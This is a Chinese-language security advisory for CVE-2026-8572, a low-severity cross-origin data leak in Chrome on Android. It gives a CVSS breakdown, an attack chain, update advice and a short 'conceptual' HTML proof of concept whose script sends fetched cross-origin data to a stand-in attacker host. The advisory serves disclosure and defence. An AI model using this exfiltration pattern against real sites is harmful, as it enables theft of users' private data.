CVE-2026-8572 CVSS 3.1 低危

CVE-2026-8572 Chrome Android跨源数据泄露漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-8572

漏洞类型

信息泄露

CVSS评分

3.1 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome on Android

漏洞概述

CVE-2026-8572 是 Google Chrome Android 版本中的一个安全漏洞，主要由于网络组件中的策略执行不充分所致。在版本 148.0.7778.168 之前，远程攻击者若已攻陷渲染器进程，可利用特制的 HTML 页面绕过安全限制，进而泄露跨源数据。该漏洞被评定为低危，主要威胁用户数据机密性，建议用户及时更新浏览器。

技术细节

该漏洞的核心原因在于 Google Chrome 网络模块对跨源资源共享（CORS）或同源策略（SOP）的校验机制存在缺陷。在 Android 平台的特定旧版本中，当渲染器进程已被攻击者控制（例如利用了其他 RCE 漏洞）时，浏览器未能有效隔离或验证网络请求的数据流向。攻击者利用这一缺陷，通过构造包含恶意脚本或特定网络请求的 HTML 页面，诱导受害者进行交互。由于策略执行不足，受控的渲染器进程能够读取或接收到本应被浏览器安全策略阻止的跨域敏感信息。尽管该漏洞不直接影响系统完整性或可用性，且攻击需要用户交互和较高的攻击复杂度，但它为已攻陷渲染器的攻击者提供了进一步窃取用户隐私数据的途径。

攻击链分析

STEP 1

1. 渲染器攻陷

攻击者首先需要利用其他漏洞攻陷 Chrome 的渲染器进程。

STEP 2

2. 构造恶意页面

攻击者制作一个包含特定恶意代码的 HTML 页面，旨在利用网络策略的漏洞。

STEP 3

3. 用户交互

诱导受害者访问该恶意页面，触发页面中的脚本执行。

STEP 4

4. 数据泄露

由于网络策略执行不足，恶意脚本绕过同源限制，读取并泄露跨源敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- 
  PoC for CVE-2026-8572 (Conceptual)
  This script demonstrates a potential method to leak cross-origin data
  assuming the renderer process is compromised and policy enforcement is weak.
-->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-8572 PoC</title></head>
<body>
<script>
  // Attempt to fetch sensitive data from a target origin
  // In a vulnerable version, this might bypass CORS checks if renderer is compromised
  const targetUrl = 'https://target-site.com/sensitive-data.json';
  
  fetch(targetUrl)
    .then(response => response.text())
    .then(data => {
      // Exfiltrate data to attacker's server
      fetch('https://attacker-controlled.com/log?q=' + encodeURIComponent(data));
      console.log('Data leaked:', data);
    })
    .catch(err => console.log('Exploit failed or patched:', err));
</script>
<p>Checking for cross-origin data leak...</p>
</body>
</html>

影响范围

Google Chrome on Android < 148.0.7778.168

防御指南

临时缓解措施

建议用户不要访问不可信的网站或点击不明链接，并尽快通过 Google Play 商店将 Android 版 Chrome 浏览器更新至最新版本以修复此漏洞。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表